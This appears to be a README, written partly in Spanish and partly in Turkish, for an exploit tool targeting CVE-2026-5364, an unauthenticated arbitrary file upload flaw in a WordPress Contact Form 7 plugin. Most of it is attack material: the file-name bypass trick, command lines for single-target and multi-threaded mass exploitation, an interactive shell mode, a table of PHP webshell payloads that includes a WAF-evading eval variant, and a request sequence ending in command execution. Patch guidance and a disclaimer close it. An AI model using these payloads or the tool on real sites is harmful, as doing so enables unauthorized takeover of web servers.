
CVE-2026-5364 es una vulnerabilidad de subida arbitraria de archivos sin autenticación (CVSS 8.1, Alta) en Drag and Drop File Upload for Contact Form 7
CVE-2026-5364 es una vulnerabilidad de carga de archivos arbitraria no autenticada con CVSS 8.1 (High) en Drag and Drop File Upload for Contact Form 7
Carga de archivos arbitraria no autenticada mediante bypass de
sanitize_file_name()CVSS 8.1 (High) | Afectado: <= 1.1.3 | Parcheado: 1.1.4
| Campo | Valor |
|---|
| CVE ID | CVE-2026-5364 |
| Plugin | Drag and Drop File Upload for Contact Form 7 |
| Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1 (High) |
| Vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Afectado | <= 1.1.3 |
| Parcheado | 1.1.4 |
| Investigador | Thomas Sanzey |
| Publicación | 23 de abril de 2026 |
El plugin lee la extensión del archivo antes de la limpieza de sanitize_file_name().
El atacante sube un archivo llamado shell.php$:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← blacklist'i atlatır
sanitize_file_name('shell.php$') → 'shell.php' ← PHP olarak kaydedilir
Cadena de tres vulnerabilidades independientes:
type se lee del usuariopathinfo() se aplica al nombre de archivo sin procesarsanitize_file_name() dentro de wp_unique_filename() elimina el carácter $git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests# Temel exploit (id komutu)
python CVE-2026-5364.py -u https://target.com
# Özel komut
python CVE-2026-5364.py -u https://target.com -c "whoami"
# İnteraktif shell
python CVE-2026-5364.py -u https://target.com --interactive
# Farklı shell tipi
python CVE-2026-5364.py -u https://target.com --shell exec
# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# 20 thread ile tarama
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# Yamalı sürümleri de dene
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# Sonuçları dosyaya kaydet
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
Hedef:
-u, --url URL Tek hedef URL
-l, --list FILE Hedef listesi (satır başı URL)
Exploit:
-c, --cmd CMD OS komutu (varsayılan: id)
--shell TYPE Webshell tipi: basic|exec|pass|eval|info
-i, --interactive İnteraktif shell aç
--no-skip-patched Yamalı sürümleri de dene
Tarama:
-t, --threads N Thread sayısı (varsayılan: 10)
--timeout S Timeout saniye (varsayılan: 15)
--proxy URL Proxy adresi
Çıktı:
-o, --output FILE Sonuç dosyası
-v, --verbose Ayrıntılı çıktı
--no-color Renksiz çıktı
| Tipo | Payload | Uso |
|---|---|---|
basic | <?php system($_GET["cmd"]); ?> | Propósito general |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | Salida completa |
pass | <?php passthru($_GET["cmd"]); ?> | Salida binaria |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | Oculto / bypass de WAF |
info | <?php phpinfo(); ?> | Información de PHP |
1. Nonce Tespiti
└─ wp_localize_script() ile her ziyaretçiye açık
GET /contact/ → HTML içinde "nonce":"abc123def4"
2. Shell Yükleme
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← blacklist'te yok
file=shell.php$ ← sanitize_file_name() → shell.php
3. URL Alma
└─ Response: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Caracteres eliminados por sanitize_file_name():
$ % ~ ` (boşluk)
La herramienta prueba automáticamente todos los caracteres de bypass.
| Factor | Impacto |
|---|---|
Apache .htaccess (Content-Disposition: attachment) | Evita la ejecución de PHP |
| Nginx / LiteSpeed | .htaccess no válido — RCE posible |
Nombre de archivo aleatorio (uniqid()) | Inefectivo porque la respuesta AJAX devuelve la URL |
| Nonce | Protección CSRF — no es autenticación, inefectivo |
Actualice el plugin a la versión 1.1.4 o superior.
# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// DOĞRU (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id); // POST'tan değil
Esta herramienta ha sido desarrollada solo para investigación de seguridad con fines educativos y defensivos. El uso en sistemas no autorizados está prohibido y puede tener consecuencias legales. Úsela únicamente en sistemas sobre los que tenga permiso.